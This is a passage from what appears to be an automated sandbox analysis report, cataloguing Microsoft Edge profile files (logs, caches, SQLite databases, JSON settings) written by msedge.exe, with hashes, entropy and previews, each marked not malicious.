SHA-512:	E0A0B40856E4AA16DACEA55E663514A7935D8D157393B007199B310F036C6AF4BE44DD188303EC32D2580E24F0B1EEDC5EA2AEFF5A624E4777467020F81DB1D8
Malicious:	false
Preview:	........................................C.c../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	432
Entropy (8bit):	5.257920079238423
Encrypted:	false
SSDEEP:	12:ixK+vYfYebvqBQFUt8dx3/+dxN3V5JfYebvqBvJ:ErYfYebvZg8b0VJfYebvk
MD5:	CA841F012263FFAEE991AC7DD0CC2B72
SHA1:	89EFB6D1E0606B58B4CE47A2342049F343611D50
SHA-256:	E299B2CFDABFE5D11520D6BB38DAF228BB20F86340CB502DA98C08C13977775D
SHA-512:	0C60B59ADCE88A25D78794B7459DCDFF185283C7B89D85925D6B8203992D2B6EF2DBCDD80A15B362222CF9C034B9DA3A87EE46556A5907D8C0BFEECCE2A2999A
Malicious:	false
Preview:	2024/12/27-08:42:56.047 1cdc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/27-08:42:56.048 1cdc Recovering log #3.2024/12/27-08:42:56.051 1cdc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	432
Entropy (8bit):	5.257920079238423
Encrypted:	false
SSDEEP:	12:ixK+vYfYebvqBQFUt8dx3/+dxN3V5JfYebvqBvJ:ErYfYebvZg8b0VJfYebvk
MD5:	CA841F012263FFAEE991AC7DD0CC2B72
SHA1:	89EFB6D1E0606B58B4CE47A2342049F343611D50
SHA-256:	E299B2CFDABFE5D11520D6BB38DAF228BB20F86340CB502DA98C08C13977775D
SHA-512:	0C60B59ADCE88A25D78794B7459DCDFF185283C7B89D85925D6B8203992D2B6EF2DBCDD80A15B362222CF9C034B9DA3A87EE46556A5907D8C0BFEECCE2A2999A
Malicious:	false
Preview:	2024/12/27-08:42:56.047 1cdc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/27-08:42:56.048 1cdc Recovering log #3.2024/12/27-08:42:56.051 1cdc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\09d18590-cba9-4fd9-a349-64554e4acb98.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\799f68b4-9d30-4f7e-80fd-925bfbd2f093.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\9225a104-e5b7-4578-a4c6-bac76e436c02.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	193
Entropy (8bit):	4.864047146590611
Encrypted:	false
SSDEEP:	6:YHpoueH2a9a1o3/QBR70S7PMVKJTnMRK3VY:YH/u2caq3QH7E4T3y
MD5:	18D8AE83268DD3A59C64AAD659CF2FD3
SHA1:	018C9736438D095A67B1C9953082F671C2FDB681
SHA-256:	D659029D35ADEBB7918AF32FFF3202C63D8047043A8BDF329B2A97751CF95056
SHA-512:	BB0962F930E9844E8C0E9CD209C07F46259E4C7677D5443B7AEE90DCF7B7E8F9960C5E3FCB8A83B9BB40862FBE0442C547083A9FD421D86674B88B2BEBBEB2FB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 4, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.555790634850688
Encrypted:	false
SSDEEP:	48:TsIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB:QIEumQv8m1ccnvS6
MD5:	0247E46DE79B6CD1BF08CAF7782F7793
SHA1:	B3A63ED5BE3D8EC6E3949FC5E2D21D97ACC873A6
SHA-256:	AAD0053186875205E014AB98AE8C18A6233CB715DD3AF44E7E8EB259AEAB5EEA
SHA-512:	148804598D2A9EA182BD2ADC71663D481F88683CE3D672CE12A43E53B0D34FD70458BE5AAA781B20833E963804E7F4562855F2D18F7731B7C2EAEA5D6D52FBB6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}.........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF4124c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF43c79.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.36515621748816035
Encrypted:	false
SSDEEP:	24:TLH3lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tb31DtX5nDOvyKDhU1cSB
MD5:	25363ADC3C9D98BAD1A33D0792405CBF
SHA1:	D06E343087D86EF1A06F7479D81B26C90A60B5C3
SHA-256:	6E019B8B9E389216D5BDF1F2FE63F41EF98E71DA101F2A6BE04F41CC5954532D
SHA-512:	CF7EEE35D0E00945AF221BEC531E8BF06C08880DA00BD103FA561BC069D7C6F955CBA3C1C152A4884601E5A670B7487D39B4AE9A4D554ED8C14F129A74E555F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......X..g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\aa1cd2ff-bdf9-4563-9d84-ba3a99ce0e79.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	420
Entropy (8bit):	5.22844831199506
Encrypted:	false
SSDEEP:	12:inq+vYfYebvqBZFUt8dj/+d6DqV5JfYebvqBaJ:4LYfYebvyg8DgJfYebvL
MD5:	30DFD9F81F8E9368F4CAA89E9F73E189
SHA1:	4CE2A15F98BB3AFDAA98AB329F94F517A68C2F8B
SHA-256:	8AAC9C27922D7688E335B3255C7A1EB3459FF4118190077E31D51676ABFD1086
SHA-512:	CADEA11503B6055E5FAA7FFB13FBB539EA7AB4D4461200BD77D3E57312CA93E984B1BB9D758A689FC7C487ABEEE44EA1F3C8D16F26927D49CBF28CCEBCB9BC58
Malicious:	false
Preview:	2024/12/27-08:43:12.231 1cdc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/27-08:43:12.232 1cdc Recovering log #3.2024/12/27-08:43:12.326 1cdc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	420
Entropy (8bit):	5.22844831199506
Encrypted:	false
SSDEEP:	12:inq+vYfYebvqBZFUt8dj/+d6DqV5JfYebvqBaJ:4LYfYebvyg8DgJfYebvL
MD5:	30DFD9F81F8E9368F4CAA89E9F73E189
SHA1:	4CE2A15F98BB3AFDAA98AB329F94F517A68C2F8B
SHA-256:	8AAC9C27922D7688E335B3255C7A1EB3459FF4118190077E31D51676ABFD1086
SHA-512:	CADEA11503B6055E5FAA7FFB13FBB539EA7AB4D4461200BD77D3E57312CA93E984B1BB9D758A689FC7C487ABEEE44EA1F3C8D16F26927D49CBF28CCEBCB9BC58
Malicious:	false
Preview:	2024/12/27-08:43:12.231 1cdc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/27-08:43:12.232 1cdc Recovering log #3.2024/12/27-08:43:12.326 1cdc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.236145437191635
Encrypted:	false
SSDEEP:	6:ixHVq2Pwkn23oH+TcwtpIFUt8dxMgZmw+dxMIkwOwkn23oH+Tcwta/WLJ:ix1vYfYebmFUt8dxV/+dxH5JfYebaUJ
MD5:	F2362B176AAE38FF6726466FEA855CD7
SHA1:	C4852D2CBC126BC6B792C31F0C1D00D8A9878BFE
SHA-256:	600E063D4815CFA2BBF0C0E09505382D9BE6CDBA53B19470F892187AAFC1E426
SHA-512:	C4341DE5A82688437C792C753E887518ED34DB29A7C34D39256F6E96713D57F6B46116F9148406F1A4E5322AD809C6AE91E02C3EE74242E4A608D0CC00BCC6C3
Malicious:	false
Preview:	2024/12/27-08:42:55.120 bb4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/27-08:42:55.121 bb4 Recovering log #3.2024/12/27-08:42:55.121 bb4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.236145437191635
Encrypted:	false
SSDEEP:	6:ixHVq2Pwkn23oH+TcwtpIFUt8dxMgZmw+dxMIkwOwkn23oH+Tcwta/WLJ:ix1vYfYebmFUt8dxV/+dxH5JfYebaUJ
MD5:	F2362B176AAE38FF6726466FEA855CD7
SHA1:	C4852D2CBC126BC6B792C31F0C1D00D8A9878BFE
SHA-256:	600E063D4815CFA2BBF0C0E09505382D9BE6CDBA53B19470F892187AAFC1E426
SHA-512:	C4341DE5A82688437C792C753E887518ED34DB29A7C34D39256F6E96713D57F6B46116F9148406F1A4E5322AD809C6AE91E02C3EE74242E4A608D0CC00BCC6C3
Malicious:	false
Preview:	2024/12/27-08:42:55.120 bb4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/27-08:42:55.121 bb4 Recovering log #3.2024/12/27-08:42:55.121 bb4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Top Sites

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 7, 1st free page 5, free pages 2, cookie 0x5, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.26707851465859517
Encrypted:	false
SSDEEP:	12:TLPp5yN8h6MvDOH+FxOUwa5qVZ7Nkl25Pe2d:TLh8Gxk+6Uwc8NlYC
MD5:	04F8B790DF73BD7CD01238F4681C3F44
SHA1:	DF12D0A21935FC01B36A24BF72AB9640FEBB2077
SHA-256:	96BD789329E46DD9D83002DC40676922A48A3601BF4B5D7376748B34ECE247A0
SHA-512:	0DD492C371D310121F7FD57D29F8CE92AA2536A74923AC27F9C4C0C1580C849D7779348FC80410DEBB5EEE14F357EBDF33BF670D1E7B6CCDF15D69AC127AB7C3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.......j.j................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 4, database pages 87, cookie 0x66, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	180224
Entropy (8bit):	0.9237410161604507
Encrypted:	false
SSDEEP:	192:vyMUfTfnGCTjHbRJkkqtXaWTK+hGgH+6e7E:vyffrnzkkqtXnTK+hNH+5
MD5:	C97C2FBAAEA45BB3C728D02689216CB2
SHA1:	CA75AE4F32B49EA8EE1C3FDC4A6A6729460AE9F2
SHA-256:	DB3E522850328F9150FF442E3680DF9F8A332B504ECECE26F4983D79C0D1482B
SHA-512:	5CDF0D3D8069092E9656482D2F4BEAAAF0E58CA20B6066FE0EAB0C84EB60DBCF292EC5A6988F93A8077087FD80E887371EF67A443CCDC99CCFDBE42E708D938E
Malicious:	false
Preview:	SQLite format 3......@ .......W...........f......................................................j............O........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2568
Entropy (8bit):	0.06569804787746027
Encrypted:	false
SSDEEP:	3:1ulEl1lhtln+:8E3u
MD5:	8C318DE130843D98894CFBAE8ACCF8FB
SHA1:	6E98873D8BCB89352B6FE47178A063766EDCAC34
SHA-256:	313599B6F37DD4AC995A6482A2B84E1198A0AABF9D6179A5AE88CE02945B51D8
SHA-512:	6D5BA4025A091AC26552D14AA1C83BA65872EF996F2EA85005DDA23CD676C7271516AE9F02BC4CCF8C96D3D2DB5D0E86F45E77CB56C4076847154D9B69A3F827
Malicious:	false
Preview:	............<......W....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b6ccac2d-5f27-44da-93fc-385ca2fa79a0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30210
Entropy (8bit):	5.566605203723292
Encrypted:	false
SSDEEP:	768:8w8pCn7pLGLhx0WP3bfeI8F1+UoAYDCx9Tuqh0VfUC9xbog/OVSWJzcgxrw0p3t5:8w8pChchx0WP3bfeIu1janWJ4gCot5
MD5:	B839F0CC553C9051AB1CD093EC90232F
SHA1:	746DD53561774EA7BE1ED205BA68FCC4FDB9A9AA
SHA-256:	9E1D1DBED2EE89556DDE7D06AEBF6B6DD380E8A43F227FE1EEEA9DBF83D7F4C9
SHA-512:	18A22A0DEAA058DC1B62FAF9024273DF07673B3F4438FB6E71C4DF1BA15149E2148DBDF6C5A12F2066D0811C862F2A132F5B70B163074F1C3DFC7F60960E25F4
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379780575022321","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379780575022321","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.35226517389931394
Encrypted:	false
SSDEEP:	12:TLC+waBg9LBgVDBgQjiZBgKuFtuQkMbmgcVAzO5kMCgGUg5OR:TLPdBgtBgJBgQjiZS53uQFE27MCgGZsR
MD5:	D2CCDC36225684AAE8FA563AFEDB14E7
SHA1:	3759649035F23004A4C30A14C5F0B54191BEBF80
SHA-256:	080AEE864047C67CB1586A5BA5EDA007AFD18ECC2B702638287E386F159D7AEE
SHA-512:	1A915AF643D688CA68AEDC1FF26C407D960D18DFDE838B417C437D7ADAC7B91C906E782DCC414784E64287915BD1DE5BB6A282E59AA9FEB8C384B4D4BC5F70EC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......Q......Q......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
